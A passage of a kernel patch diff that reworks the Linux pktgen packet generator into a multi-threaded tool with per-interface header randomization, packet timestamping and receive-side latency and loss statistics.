information to create/send packets + */ +static void pg_setup_inject(struct pktgen_interface_info* info) { - u32 idle_start, idle; + if (!info->odev) { + /* Try once more, just in case it works now. */ + pg_setup_interface(info); + } + + if (!info->odev) { + printk("ERROR: info->odev == NULL in setup_inject.\n"); + sprintf(info->result, "ERROR: info->odev == NULL in setup_inject.\n"); + return; + } + + /* Default to the interface's mac if not explicitly set. */ + if (!(info->flags & F_SET_SRCMAC)) { + memcpy(&(info->hh[6]), info->odev->dev_addr, 6); + } + else { + memcpy(&(info->hh[6]), info->src_mac, 6); + } + + /* Set up Dest MAC */ + memcpy(&(info->hh[0]), info->dst_mac, 6); + + /* Set up pkt size */ + info->cur_pkt_size = info->min_pkt_size; + + info->saddr_min = 0; + info->saddr_max = 0; + if (strlen(info->src_min) == 0) { + if (info->odev->ip_ptr) { + struct in_device *in_dev = info->odev->ip_ptr; + + if (in_dev->ifa_list) { + info->saddr_min = in_dev->ifa_list->ifa_address; + info->saddr_max = info->saddr_min; + } + } + } + else { + info->saddr_min = in_aton(info->src_min); + info->saddr_max = in_aton(info->src_max); + } + + info->daddr_min = in_aton(info->dst_min); + info->daddr_max = in_aton(info->dst_max); + + /* Initialize current values. */ + info->cur_dst_mac_offset = 0; + info->cur_src_mac_offset = 0; + info->cur_saddr = info->saddr_min; + info->cur_daddr = info->daddr_min; + info->cur_udp_dst = info->udp_dst_min; + info->cur_udp_src = info->udp_src_min; +} - idle_start = cycles(); +/* ipg is in nano-seconds */ +static void nanospin(__u32 ipg, struct pktgen_interface_info* info) +{ + u64 idle_start = get_cycles(); + u64 idle; for (;;) { barrier(); - idle = cycles() - idle_start; - if (idle * 1000 >= pg_ipg * pg_cpu_speed) + idle = get_cycles() - idle_start; + if (idle * 1000 >= ipg * pg_cycles_per_us) break; } - idle_acc_lo += idle; - if (idle_acc_lo < idle) - idle_acc_hi++; + info->idle_acc += idle; +} + + +/* ipg is in micro-seconds (usecs) */ +static void pg_udelay(__u32 delay_us, struct pktgen_interface_info* info) +{ + u64 start = getRelativeCurUs(); + u64 now; + + for (;;) { + do_softirq(); + now = getRelativeCurUs(); + if (start + delay_us <= (now - 10)) { + break; + } + + if (!info->do_run_run) { + return; + } + + if (current->need_resched) { + schedule(); + } + + now = getRelativeCurUs(); + if (start + delay_us <= (now - 10)) { + break; + } + } + + info->idle_acc += (1000 * (now - start)); + + /* We can break out of the loop up to 10us early, so spend the rest of + * it spinning to increase accuracy. + */ + if (start + delay_us > now) { + nanospin((start + delay_us) - now, info); + } } + + + +/* Returns: cycles per micro-second */ static int calc_mhz(void) { struct timeval start, stop; - u32 start_s, elapsed; - + u64 start_s; + u64 t1, t2; + u32 elapsed; + u32 clock_time = 0; + do_gettimeofday(&start); - start_s = cycles(); + start_s = get_cycles(); + /* Spin for 50,000,000 cycles */ do { barrier(); - elapsed = cycles() - start_s; + elapsed = (u32)(get_cycles() - start_s); if (elapsed == 0) return 0; - } while (elapsed < 1000 * 50000); + } while (elapsed < 50000000); do_gettimeofday(&stop); - return elapsed/(stop.tv_usec-start.tv_usec+1000000*(stop.tv_sec-start.tv_sec)); + + t1 = tv_to_us(&start); + t2 = tv_to_us(&stop); + + clock_time = (u32)(t2 - t1); + if (clock_time == 0) { + printk("pktgen: ERROR: clock_time was zero..things may not work right, t1: %u t2: %u ...\n", + (u32)(t1), (u32)(t2)); + return 0x7FFFFFFF; + } + return elapsed / clock_time; } +/* Calibrate cycles per micro-second */ static void cycles_calibrate(void) { int i; for (i = 0; i < 3; i++) { - int res = calc_mhz(); - if (res > pg_cpu_speed) - pg_cpu_speed = res; + u32 res = calc_mhz(); + if (res > pg_cycles_per_us) + pg_cycles_per_us = res; } + + /* Set these up too, only need to calculate these once. */ + pg_cycles_per_ns = pg_cycles_per_us / 1000; + if (pg_cycles_per_ns == 0) { + pg_cycles_per_ns = 1; + } + pg_cycles_per_ms = pg_cycles_per_us * 1000; + + printk("pktgen: cycles_calibrate, cycles_per_ns: %d per_us: %d per_ms: %d\n", + pg_cycles_per_ns, pg_cycles_per_us, pg_cycles_per_ms); } -static struct sk_buff *fill_packet(struct net_device *odev, __u32 saddr) + +/* Increment/randomize headers according to flags and current values + * for IP src/dest, UDP src/dst port, MAC-Addr src/dst + */ +static void mod_cur_headers(struct pktgen_interface_info* info) { + __u32 imn; + __u32 imx; + + /* Deal with source MAC */ + if (info->src_mac_count > 1) { + __u32 mc; + __u32 tmp; + if (info->flags & F_MACSRC_RND) { + mc = net_random() % (info->src_mac_count); + } + else { + mc = info->cur_src_mac_offset++; + if (info->cur_src_mac_offset > info->src_mac_count) { + info->cur_src_mac_offset = 0; + } + } + + tmp = info->src_mac[5] + (mc & 0xFF); + info->hh[11] = tmp; + tmp = (info->src_mac[4] + ((mc >> 8) & 0xFF) + (tmp >> 8)); + info->hh[10] = tmp; + tmp = (info->src_mac[3] + ((mc >> 16) & 0xFF) + (tmp >> 8)); + info->hh[9] = tmp; + tmp = (info->src_mac[2] + ((mc >> 24) & 0xFF) + (tmp >> 8)); + info->hh[8] = tmp; + tmp = (info->src_mac[1] + (tmp >> 8)); + info->hh[7] = tmp; + } + + /* Deal with Destination MAC */ + if (info->dst_mac_count > 1) { + __u32 mc; + __u32 tmp; + if (info->flags & F_MACDST_RND) { + mc = net_random() % (info->dst_mac_count); + } + else { + mc = info->cur_dst_mac_offset++; + if (info->cur_dst_mac_offset > info->dst_mac_count) { + info->cur_dst_mac_offset = 0; + } + } + + tmp = info->dst_mac[5] + (mc & 0xFF); + info->hh[5] = tmp; + tmp = (info->dst_mac[4] + ((mc >> 8) & 0xFF) + (tmp >> 8)); + info->hh[4] = tmp; + tmp = (info->dst_mac[3] + ((mc >> 16) & 0xFF) + (tmp >> 8)); + info->hh[3] = tmp; + tmp = (info->dst_mac[2] + ((mc >> 24) & 0xFF) + (tmp >> 8)); + info->hh[2] = tmp; + tmp = (info->dst_mac[1] + (tmp >> 8)); + info->hh[1] = tmp; + } + + if (info->udp_src_min < info->udp_src_max) { + if (info->flags & F_UDPSRC_RND) { + info->cur_udp_src = ((net_random() % (info->udp_src_max - info->udp_src_min)) + + info->udp_src_min); + } + else { + info->cur_udp_src++; + if (info->cur_udp_src >= info->udp_src_max) { + info->cur_udp_src = info->udp_src_min; + } + } + } + + if (info->udp_dst_min < info->udp_dst_max) { + if (info->flags & F_UDPDST_RND) { + info->cur_udp_dst = ((net_random() % (info->udp_dst_max - info->udp_dst_min)) + + info->udp_dst_min); + } + else { + info->cur_udp_dst++; + if (info->cur_udp_dst >= info->udp_dst_max) { + info->cur_udp_dst = info->udp_dst_min; + } + } + } + + if ((imn = ntohl(info->saddr_min)) < (imx = ntohl(info->saddr_max))) { + __u32 t; + if (info->flags & F_IPSRC_RND) { + t = ((net_random() % (imx - imn)) + imn); + } + else { + t = ntohl(info->cur_saddr); + t++; + if (t > imx) { + t = imn; + } + } + info->cur_saddr = htonl(t); + } + + if ((imn = ntohl(info->daddr_min)) < (imx = ntohl(info->daddr_max))) { + __u32 t; + if (info->flags & F_IPDST_RND) { + t = ((net_random() % (imx - imn)) + imn); + } + else { + t = ntohl(info->cur_daddr); + t++; + if (t > imx) { + t = imn; + } + } + info->cur_daddr = htonl(t); + } + + if (info->min_pkt_size < info->max_pkt_size) { + __u32 t; + if (info->flags & F_TXSIZE_RND) { + t = ((net_random() % (info->max_pkt_size - info->min_pkt_size)) + + info->min_pkt_size); + } + else { + t = info->cur_pkt_size + 1; + if (t > info->max_pkt_size) { + t = info->min_pkt_size; + } + } + info->cur_pkt_size = t; + } +}/* mod_cur_headers */ + + +static struct sk_buff *fill_packet(struct net_device *odev, struct pktgen_interface_info* info) { - struct sk_buff *skb; + struct sk_buff *skb = NULL; __u8 *eth; struct udphdr *udph; int datalen, iplen; struct iphdr *iph; - - skb = alloc_skb(pkt_size + 64 + 16, GFP_ATOMIC); + struct pktgen_hdr *pgh = NULL; + + skb = alloc_skb(info->cur_pkt_size + 64 + 16, GFP_ATOMIC); if (!skb) { - sprintf(pg_result, "No memory"); + sprintf(info->result, "No memory"); return NULL; } @@ -198,25 +906,30 @@ iph = (struct iphdr *)skb_put(skb, sizeof(struct iphdr)); udph = (struct udphdr *)skb_put(skb, sizeof(struct udphdr)); - /* Copy the ethernet header */ - memcpy(eth, hh, 14); - - datalen = pkt_size - 14 - 20 - 8; /* Eth + IPh + UDPh */ - if (datalen < 0) - datalen = 0; - - udph->source = htons(9); - udph->dest = htons(9); + /* Update any of the values, used when we're incrementing various + * fields. + */ + mod_cur_headers(info); + + memcpy(eth, info->hh, 14); + + datalen = info->cur_pkt_size - 14 - 20 - 8; /* Eth + IPh + UDPh */ + if (datalen < sizeof(struct pktgen_hdr)) { + datalen = sizeof(struct pktgen_hdr); + } + + udph->source = htons(info->cur_udp_src); + udph->dest = htons(info->cur_udp_dst); udph->len = htons(datalen + 8); /* DATA + udphdr */ udph->check = 0; /* No checksum */ iph->ihl = 5; iph->version = 4; - iph->ttl = 3; + iph->ttl = 32; iph->tos = 0; iph->protocol = IPPROTO_UDP; /* UDP */ - iph->saddr = saddr; - iph->daddr = in_aton(pg_dst); + iph->saddr = info->cur_saddr; + iph->daddr = info->cur_daddr; iph->frag_off = 0; iplen = 20 + 8 + datalen; iph->tot_len = htons(iplen); @@ -227,12 +940,14 @@ skb->dev = odev; skb->pkt_type = PACKET_HOST; - if (nfrags <= 0) { - skb_put(skb, datalen); + if (info->nfrags <= 0) { + pgh = (struct pktgen_hdr *)skb_put(skb, datalen); } else { - int frags = nfrags; + int frags = info->nfrags; int i; + pgh = (struct pktgen_hdr*)(((char*)(udph)) + 8); + if (frags > MAX_SKB_FRAGS) frags = MAX_SKB_FRAGS; if (datalen > frags*PAGE_SIZE) { @@ -276,205 +991,980 @@ } } + /* Stamp the time, and sequence number, convert them to network byte order */ + if (pgh) { + pgh->pgh_magic = __constant_htonl(PKTGEN_MAGIC); + do_gettimeofday(&(pgh->timestamp)); + pgh->timestamp.tv_usec = htonl(pgh->timestamp.tv_usec); + pgh->timestamp.tv_sec = htonl(pgh->timestamp.tv_sec); + pgh->seq_num = htonl(info->seq_num); + } + info->seq_num++; + return skb; } -static void pg_inject(void) -{ - u32 saddr; - struct net_device *odev; - struct sk_buff *skb; - struct timeval start, stop; - u32 total, idle; - u32 pc, lcount; - char *p = pg_result; - u32 pkt_rate, data_rate; - char rate_unit; - - odev = pg_setup_inject(&saddr); - if (!odev) - return; - - skb = fill_packet(odev, saddr); - if (skb == NULL) - goto out_reldev; - - forced_stop = 0; - idle_acc_hi = 0; - idle_acc_lo = 0; - pc = 0; - lcount = pg_count; - do_gettimeofday(&start); +static void record_latency(struct pktgen_interface_info* info, int latency) { + /* NOTE: Latency can be negative */ + int div = 100; + int diff; + int vl; + int i; + + info->pkts_rcvd_since_clear++; + + if (info->pkts_rcvd_since_clear < 100) { + div = info->pkts_rcvd; + if (info->pkts_rcvd_since_clear == 1) { + info->avg_latency = latency; + } + } + + if ((div + 1) == 0) { + info->avg_latency = 0; + } + else { + info->avg_latency = ((info->avg_latency * div + latency) / (div + 1)); + } + + if (latency < info->min_latency) { + info->min_latency = latency; + } + if (latency > info->max_latency) { + info->max_latency = latency; + } + + /* Place the latency in the right 'bucket' */ + diff = (latency - info->min_latency); + for (i = 0; ilatency_bkts[i]++; + break; + } + } +}/* record latency */ + + +/* Returns < 0 if the skb is not a pktgen buffer. */ +int pktgen_receive(struct sk_buff* skb) { + /* See if we have a pktgen packet */ + if ((skb->len >= (20 + 8 + sizeof(struct pktgen_hdr))) && + (skb->protocol == __constant_htons(ETH_P_IP))) { + + /* It's IP, and long enough, lets check the magic number. + * TODO: This is a hack not always guaranteed to catch the right + * packets. + */ + /*int i; + char* tmp; */ + struct pktgen_hdr* pgh; + /* printk("Length & protocol passed, skb->data: %p, raw: %p\n", + skb->data, skb->h.raw); */ + pgh = (struct pktgen_hdr*)(skb->data + 20 + 8); + /* + tmp = (char*)(skb->data); + for (i = 0; i<60; i++) { + printk("%02hx ", tmp[i]); + if (((i + 1) % 15) == 0) { + printk("\n"); + } + } + printk("\n"); + */ + + if (pgh->pgh_magic == __constant_ntohl(PKTGEN_MAGIC)) { + struct net_device* dev = skb->dev; + struct pktgen_interface_info* info = find_pg_info(dev->ifindex); + + /* Got one! */ + /* TODO: Check UDP checksum ?? */ + __u32 seq = ntohl(pgh->seq_num); + + if (!info) { + return -1; + } + + info->pkts_rcvd++; + info->bytes_rcvd += (skb->len + 4); /* +4 for the checksum */ + + /* Check for out-of-sequence packets */ + if (info->last_seq_rcvd == seq) { + info->dup_rcvd++; + info->dup_since_incr++; + } + else { + __s64 rx = tv_to_us(&(skb->stamp)); + __s64 tx; + struct timeval txtv; + txtv.tv_usec = ntohl(pgh->timestamp.tv_usec); + txtv.tv_sec = ntohl(pgh->timestamp.tv_sec); + tx = tv_to_us(&txtv); + record_latency(info, rx - tx); + + if ((info->last_seq_rcvd + 1) == seq) { + if ((info->peer_multiskb > 1) && + (info->peer_multiskb > (info->dup_since_incr + 1))) { + + info->seq_gap_rcvd += (info->peer_multiskb - + info->dup_since_incr - 1); + } + /* Great, in order...all is well */ + } + else if (info->last_seq_rcvd < seq) { + /* sequence gap, means we dropped a pkt most likely */ + info->seq_gap_rcvd += (seq - info->last_seq_rcvd - 1); + } + else { + info->ooo_rcvd++; /* out-of-order */ + } + + info->dup_since_incr = 0; + } + info->last_seq_rcvd = seq; + kfree_skb(skb); + if (debug > 1) { + printk("done with pktgen_receive, free'd pkt\n"); + } + return 0; + } + } + return -1; /* Let another protocol handle it, it's not for us! */ +}/* pktgen_receive */ + +static void pg_reset_latency_counters(struct pktgen_interface_info* info) { + int i; + info->avg_latency = 0; + info->min_latency = 0x7fffffff; /* largest integer */ + info->max_latency = 0x80000000; /* smallest integer */ + info->pkts_rcvd_since_clear = 0; + for (i = 0; ilatency_bkts[i] = 0; + } +} - for(;;) { - spin_lock_bh(&odev->xmit_lock); - if (!netif_queue_stopped(odev)) { - struct sk_buff *skb2 = skb; - - if (pg_multiskb) - skb2 = skb_copy(skb, GFP_ATOMIC); - else - atomic_inc(&skb->users); - if (!skb2) - goto skip; - if (odev->hard_start_xmit(skb2, odev)) { - kfree_skb(skb2); - if (net_ratelimit()) - printk(KERN_INFO "Hard xmit error\n"); - } - pc++; - } - skip: - spin_unlock_bh(&odev->xmit_lock); +static void pg_clear_counters(struct pktgen_interface_info* info) { + info->seq_num = 1; + info->last_seq_rcvd = 0; + info->idle_acc = 0; + info->sofar = 0; + info->tx_bytes = 0; + info->errors = 0; + info->ooo_rcvd = 0; + info->dup_rcvd = 0; + info->pkts_rcvd = 0; + info->bytes_rcvd = 0; + info->seq_gap_rcvd = 0; + info->non_pg_pkts_rcvd = 0; + + /* This is a bit of a hack, but it gets the dup counters + * in line so we don't have false alarms on dropped pkts. + */ + info->dup_since_incr = info->peer_multiskb - 1; + + pg_reset_latency_counters(info); +} - if (pg_ipg) - nanospin(pg_ipg); - if (forced_stop) - goto out_intr; - if (signal_pending(current)) - goto out_intr; - - if (--lcount == 0) { - if (atomic_read(&skb->users) != 1) { - u32 idle_start, idle; - - idle_start = cycles(); - while (atomic_read(&skb->users) != 1) { - if (signal_pending(current)) - goto out_intr; - schedule(); - } - idle = cycles() - idle_start; - idle_acc_lo += idle; - if (idle_acc_lo < idle) - idle_acc_hi++; - } - break; - } +/* Adds an interface to the thread. The interface will be in + * the stopped queue untill started. + */ +static int add_interface_to_thread(struct pktgen_thread_info* pg_thread, + struct pktgen_interface_info* info) { + int rv = 0; + /* grab lock & insert into the stopped list */ + pg_lock(pg_thread, __FUNCTION__); + + if (info->pg_thread) { + printk("pktgen: ERROR: Already assigned to a thread.\n"); + rv = -EBUSY; + goto out; + } + + info->next = pg_thread->stopped_if_infos; + pg_thread->stopped_if_infos = info; + info->pg_thread = pg_thread; + + out: + pg_unlock(pg_thread, __FUNCTION__); + return rv; +} - if (netif_queue_stopped(odev) || current->need_resched) { - u32 idle_start, idle; +/* Set up structure for sending pkts, clear counters, add to rcv hash, + * create initial packet, and move from the stopped to the running + * interface_info list + */ +static int pg_start_interface(struct pktgen_thread_info* pg_thread, + struct pktgen_interface_info* info) { + PG_DEBUG(printk("Entering pg_start_interface..\n")); + pg_setup_inject(info); + + if (!info->odev) { + return -1; + } + + PG_DEBUG(printk("About to clean counters..\n")); + pg_clear_counters(info); + + info->do_run_run = 1; /* Cranke yeself! */ + + info->skb = NULL; + + info->started_at = getCurUs(); + + pg_lock(pg_thread, __FUNCTION__); + { + /* Remove from the stopped list */ + struct pktgen_interface_info* p = pg_thread->stopped_if_infos; + if (p == info) { + pg_thread->stopped_if_infos = p->next; + p->next = NULL; + } + else { + while (p) { + if (p->next == info) { + p->next = p->next->next; + info->next = NULL; + break; + } + p = p->next; + } + } + + info->next_tx_ns = 0; /* Transmit immediately */ + + /* Move to the front of the running list */ + info->next = pg_thread->running_if_infos; + pg_thread->running_if_infos = info; + } + pg_unlock(pg_thread, __FUNCTION__); + PG_DEBUG(printk("Leaving pg_start_interface..\n")); + return 0; +}/* pg_start_interface */ - idle_start = cycles(); - do { - if (signal_pending(current)) - goto out_intr; - if (!netif_running(odev)) - goto out_intr; - if (current->need_resched) - schedule(); - else - do_softirq(); - } while (netif_queue_stopped(odev)); - idle = cycles() - idle_start; - idle_acc_lo += idle; - if (idle_acc_lo < idle) - idle_acc_hi++; - } + +/* set stopped-at timer, remove from running list, do counters & statistics + * NOTE: We do not remove from the rcv hash. + */ +static int pg_stop_interface(struct pktgen_thread_info* pg_thread, + struct pktgen_interface_info* info) { + __u64 total_us; + if (!info->do_run_run) { + printk("pktgen interface: %s is already stopped\n", info->ifname); + return -EINVAL; + } + + info->stopped_at = getCurMs(); + info->do_run_run = 0; + + /* The main worker loop will place it onto the stopped list if needed, + * next time this interface is asked to be re-inserted into the + * list. + */ + + total_us = info->stopped_at - info->started_at; + + { + __u64 idle = pg_div(info->idle_acc, pg_cycles_per_us); + char *p = info->result; + __u64 pps = divremdi3(info->sofar * 1000, pg_div(total_us, 1000), PG_DIV); + __u64 bps = pps * 8 * (info->cur_pkt_size + 4); /* take 32bit ethernet CRC into account */ + + p += sprintf(p, "OK: %llu(c%llu+d%llu) usec, %llu (%dbyte) %llupps %lluMb/sec (%llubps) errors: %llu", + total_us, total_us - idle, idle, + info->sofar, + info->cur_pkt_size + 4, /* Add 4 to account for the ethernet checksum */ + pps, + bps >> 20, bps, info->errors + ); } + return 0; +}/* pg_stop_interface */ - do_gettimeofday(&stop); - total = (stop.tv_sec - start.tv_sec) * 1000000 + - stop.tv_usec - start.tv_usec; +/* Re-inserts 'last' into the pg_thread's list. Calling code should + * make sure that 'last' is not already in the list. + */ +static struct pktgen_interface_info* pg_resort_pginfos(struct pktgen_thread_info* pg_thread, + struct pktgen_interface_info* last, + int setup_cur_if) { + struct pktgen_interface_info* rv = NULL; + + pg_lock(pg_thread, __FUNCTION__); + { + struct pktgen_interface_info* p = pg_thread->running_if_infos; + + if (last) { + if (!last->do_run_run) { + /* If this guy was stopped while 'current', then + * we'll want to place him on the stopped list + * here. + */ + last->next = pg_thread->stopped_if_infos; + pg_thread->stopped_if_infos = last; + } + else { + /* re-insert */ + if (!p) { + pg_thread->running_if_infos = last; + last->next = NULL; + } + else { + /* Another special case, check to see if we should go at the + * front of the queue. + */ + if (p->next_tx_ns > last->next_tx_ns) { + last->next = p; + pg_thread->running_if_infos = last; + } + else { + int inserted = 0; + while (p->next) { + if (p->next->next_tx_ns > last->next_tx_ns) { + /* Insert into the list */ + last->next = p->next; + p->next = last; + inserted = 1; + break; + } + p = p->next; + } + if (!inserted) { + /* place at the end */ + last->next = NULL; + p->next = last; + } + } + } + } + } + + /* List is re-sorted, so grab the first one to return */ + rv = pg_thread->running_if_infos; + if (rv) { + /* Pop him off of the list. We do this here because we already + * have the lock. Calling code just has to be aware of this + * feature. + */ + pg_thread->running_if_infos = rv->next; + } + } + + if (setup_cur_if) { + pg_thread->cur_if = rv; + } + + pg_unlock(pg_thread, __FUNCTION__); + return rv; +}/* pg_resort_pginfos */ + + +void pg_stop_all_ifs(struct pktgen_thread_info* pg_thread) { + struct pktgen_interface_info* next = NULL; + + pg_lock(pg_thread, __FUNCTION__); + if (pg_thread->cur_if) { + /* Move it onto the stopped list */ + pg_stop_interface(pg_thread, pg_thread->cur_if); + pg_thread->cur_if->next = pg_thread->stopped_if_infos; + pg_thread->stopped_if_infos = pg_thread->cur_if; + pg_thread->cur_if = NULL; + } + pg_unlock(pg_thread, __FUNCTION__); + + /* These have their own locking */ + next = pg_resort_pginfos(pg_thread, NULL, 0); + while (next) { + pg_stop_interface(pg_thread, next); + next = pg_resort_pginfos(pg_thread, NULL, 0); + } +}/* pg_stop_all_ifs */ + + +void pg_rem_all_ifs(struct pktgen_thread_info* pg_thread) { + struct pktgen_interface_info* next = NULL; + + /* Remove all interfaces, clean up memory */ + while ((next = pg_thread->stopped_if_infos)) { + int rv = pg_rem_interface_info(pg_thread, next); + if (rv >= 0) { + kfree(next); + } + else { + printk("ERROR: failed to rem_interface: %i\n", rv); + } + } +}/* pg_rem_all_ifs */ + + +void pg_rem_from_thread_list(struct pktgen_thread_info* pg_thread) { + /* Remove from the thread list */ + pg_lock_thread_list(__FUNCTION__); + { + struct pktgen_thread_info* tmp = pktgen_threads; + if (tmp == pg_thread) { + pktgen_threads = tmp->next; + } + else { + while (tmp) { + if (tmp->next == pg_thread) { + tmp->next = pg_thread->next; + pg_thread->next = NULL; + break; + } + tmp = tmp->next; + } + } + } + pg_unlock_thread_list(__FUNCTION__); +}/* pg_rem_from_thread_list */ - if (total == 0) total = 1; /* division by zero protection */ - - idle = (((idle_acc_hi<<20)/pg_cpu_speed)<<12)+idle_acc_lo/pg_cpu_speed; - - /* - Rounding errors is around 1% on pkt_rate when total - is just over 100.000. When total is big (total >= - 4.295 sec) pc need to be more than 430 to keep - rounding errors below 1%. Shouldn't be a problem:) - - */ - - if (total < 100000) - pkt_rate = (pc*1000000)/total; - else if (total < 0xFFFFFFFF/1000) /* overflow protection: 2^32/1000 */ - pkt_rate = (pc*1000)/(total/1000); - else if (total < 0xFFFFFFFF/100) - pkt_rate = (pc*100)/(total/10000); - else if (total < 0xFFFFFFFF/10) - pkt_rate = (pc*10)/(total/100000); - else - pkt_rate = (pc/(total/1000000)); - - data_rate = (pkt_rate*pkt_size); - if (data_rate > 1024*1024 ) { /* 10 MB/s */ - data_rate = data_rate / (1024*1024); - rate_unit = 'M'; - } else { - data_rate = data_rate / 1024; - rate_unit = 'K'; - } - - p += sprintf(p, "OK: %u(c%u+d%u) usec, %u (%dbyte,%dfrags) %upps %u%cB/sec", - total, total-idle, idle, - pc, skb->len, skb_shinfo(skb)->nr_frags, - pkt_rate, data_rate, rate_unit - ); - +/* Main loop of the thread. Send pkts. + */ +void pg_thread_worker(struct pktgen_thread_info* pg_thread) { + struct net_device *odev = NULL; + __u64 idle_start = 0; + struct pktgen_interface_info* next = NULL; + u32 next_ipg = 0; + u64 now = 0; /* in nano-seconds */ + u32 tx_since_softirq = 0; + + /* setup the thread environment */ + init_pktgen_kthread(pg_thread, "kpktgend"); + + PG_DEBUG(printk("Starting up pktgen thread: %s\n", pg_thread->name)); + + /* an endless loop in which we are doing our work */ + while (1) { + + /* Re-sorts the list, inserting 'next' (which is really the last one + * we used). It pops the top one off of the queue and returns it. + * Calling code must make sure to re-insert the returned value + */ + next = pg_resort_pginfos(pg_thread, next, 1); + + if (next) { + + odev = next->odev; + + if (next->ipg) { + + now = getRelativeCurNs(); + if (now < next->next_tx_ns) { + next_ipg = (u32)(next->next_tx_ns - now); + + /* Try not to busy-spin if we have larger sleep times. + * TODO: Investigate better ways to do this. + */ + if (next_ipg < 10000) { /* 10 usecs or less */ + nanospin(next_ipg, next); + } + else if (next_ipg < 10000000) { /* 10ms or less */ + pg_udelay(next_ipg / 1000, next); + } + else { + /* fall asleep for a 10ms or more. */ + pg_udelay(next_ipg / 1000, next); + } + } + + /* This is max IPG, this has special meaning of + * "never transmit" + */ + if (next->ipg == 0x7FFFFFFF) { + next->next_tx_ns = getRelativeCurNs() + next->ipg; + continue; + } + } + + if (netif_queue_stopped(odev) || current->need_resched) { + + idle_start = get_cycles(); + + if (!netif_running(odev)) { + pg_stop_interface(pg_thread, next); + continue; + } + if (current->need_resched) { + schedule(); + } + else { + do_softirq(); + tx_since_softirq = 0; + } + next->idle_acc += get_cycles() - idle_start; + + if (netif_queue_stopped(odev)) { + continue; /* Try the next interface */ + } + } + + if (next->last_ok || !next->skb) { + if ((++next->fp_tmp >= next->multiskb ) || (!next->skb)) { + /* build a new pkt */ + if (next->skb) { + kfree_skb(next->skb); + } + next->skb = fill_packet(odev, next); + if (next->skb == NULL) { + printk("ERROR: Couldn't allocate skb in fill_packet.\n"); + schedule(); + next->fp_tmp--; /* back out increment, OOM */ + continue; + } + next->fp++; + next->fp_tmp = 0; /* reset counter */ + /* Not sure what good knowing nr_frags is... + next->nr_frags = skb_shinfo(skb)->nr_frags; + */ + } + atomic_inc(&(next->skb->users)); + } + + spin_lock_bh(&odev->xmit_lock); + if (!netif_queue_stopped(odev)) { + if (odev->hard_start_xmit(next->skb, odev)) { + if (net_ratelimit()) { + printk(KERN_INFO "Hard xmit error\n"); + } + next->errors++; + next->last_ok = 0; + } + else { + next->last_ok = 1; + next->sofar++; + next->tx_bytes += (next->cur_pkt_size + 4); /* count csum */ + } + + next->next_tx_ns = getRelativeCurNs() + next->ipg; + } + else { /* Re-try it next time */ + next->last_ok = 0; + } + + spin_unlock_bh(&odev->xmit_lock); + + if (++tx_since_softirq > pg_thread->max_before_softirq) { + do_softirq(); + tx_since_softirq = 0; + } + + /* If next->count is zero, then run forever */ + if ((next->count != 0) && (next->sofar >= next->count)) { + if (atomic_read(&(next->skb->users)) != 1) { + idle_start = get_cycles(); + while (atomic_read(&(next->skb->users)) != 1) { + if (signal_pending(current)) { + break; + } + schedule(); + } + next->idle_acc += get_cycles() - idle_start; + } + pg_stop_interface(pg_thread, next); + }/* if we're done with a particular interface. */ + + }/* if could find the next interface to send on. */ + else { + /* fall asleep for a bit */ + interruptible_sleep_on_timeout(&(pg_thread->queue), HZ/10); + } + + /* here we are back from sleep, either due to the timeout + (one second), or because we caught a signal. + */ + if (pg_thread->terminate || signal_pending(current)) { + /* we received a request to terminate ourself */ + break; + } + }//while true + + /* here we go only in case of termination of the thread */ + + PG_DEBUG(printk("pgthread: %s stopping all Interfaces.\n", pg_thread->name)); + pg_stop_all_ifs(pg_thread); + + PG_DEBUG(printk("pgthread: %s removing all Interfaces.\n", pg_thread->name)); + pg_rem_all_ifs(pg_thread); + + pg_rem_from_thread_list(pg_thread); + + /* cleanup the thread, leave */ + PG_DEBUG(printk("pgthread: %s calling exit_pktgen_kthread.\n", pg_thread->name)); + exit_pktgen_kthread(pg_thread); +} -out_relskb: - kfree_skb(skb); -out_reldev: - dev_put(odev); - return; - -out_intr: - sprintf(pg_result, "Interrupted"); - goto out_relskb; +/* private functions */ +static void kthread_launcher(void *data) { + struct pktgen_thread_info *kthread = data; + kernel_thread((int (*)(void *))kthread->function, (void *)kthread, 0); } +/* create a new kernel thread. Called by the creator. */ +void start_pktgen_kthread(struct pktgen_thread_info *kthread) { + + /* initialize the semaphore: + we start with the semaphore locked. The new kernel + thread will setup its stuff and unlock it. This + control flow (the one that creates the thread) blocks + in the down operation below until the thread has reached + the up() operation. + */ + init_MUTEX_LOCKED(&kthread->startstop_sem); + + /* store the function to be executed in the data passed to + the launcher */ + kthread->function = pg_thread_worker; + + /* create the new thread my running a task through keventd */ + + /* initialize the task queue structure */ + kthread->tq.sync = 0; + INIT_LIST_HEAD(&kthread->tq.list); + kthread->tq.routine = kthread_launcher; + kthread->tq.data = kthread; + + /* and schedule it for execution */ + schedule_task(&kthread->tq); + + /* wait till it has reached the setup_thread routine */ + down(&kthread->startstop_sem); +} + +/* stop a kernel thread. Called by the removing instance */ +static void stop_pktgen_kthread(struct pktgen_thread_info *kthread) { + PG_DEBUG(printk("pgthread: %s stop_pktgen_kthread.\n", kthread->name)); + + if (kthread->thread == NULL) { + printk("stop_kthread: killing non existing thread!\n"); + return; + } + + /* Stop each interface */ + pg_lock(kthread, __FUNCTION__); + { + struct pktgen_interface_info* tmp = kthread->running_if_infos; + while (tmp) { + tmp->do_run_run = 0; + tmp->next_tx_ns = 0; + tmp = tmp->next; + } + if (kthread->cur_if) { + kthread->cur_if->do_run_run = 0; + kthread->cur_if->next_tx_ns = 0; + } + } + pg_unlock(kthread, __FUNCTION__); + + /* Wait for everything to fully stop */ + while (1) { + pg_lock(kthread, __FUNCTION__); + if (kthread->cur_if || kthread->running_if_infos) { + pg_unlock(kthread, __FUNCTION__); + if (current->need_resched) { + schedule(); + } + mdelay(1); + } + else { + pg_unlock(kthread, __FUNCTION__); + break; + } + } + + /* this function needs to be protected with the big + kernel lock (lock_kernel()). The lock must be + grabbed before changing the terminate + flag and released after the down() call. */ + lock_kernel(); + + /* initialize the semaphore. We lock it here, the + leave_thread call of the thread to be terminated + will unlock it. As soon as we see the semaphore + unlocked, we know that the thread has exited. + */ + init_MUTEX_LOCKED(&kthread->startstop_sem); + + /* We need to do a memory barrier here to be sure that + the flags are visible on all CPUs. + */ + mb(); + + /* set flag to request thread termination */ + kthread->terminate = 1; + + /* We need to do a memory barrier here to be sure that + the flags are visible on all CPUs. + */ + mb(); + kill_proc(kthread->thread->pid, SIGKILL, 1); + + /* block till thread terminated */ + down(&kthread->startstop_sem); + kthread->in_use = 0; + + /* release the big kernel lock */ + unlock_kernel(); + + /* now we are sure the thread is in zombie state. We + notify keventd to clean the process up. + */ + kill_proc(2, SIGCHLD, 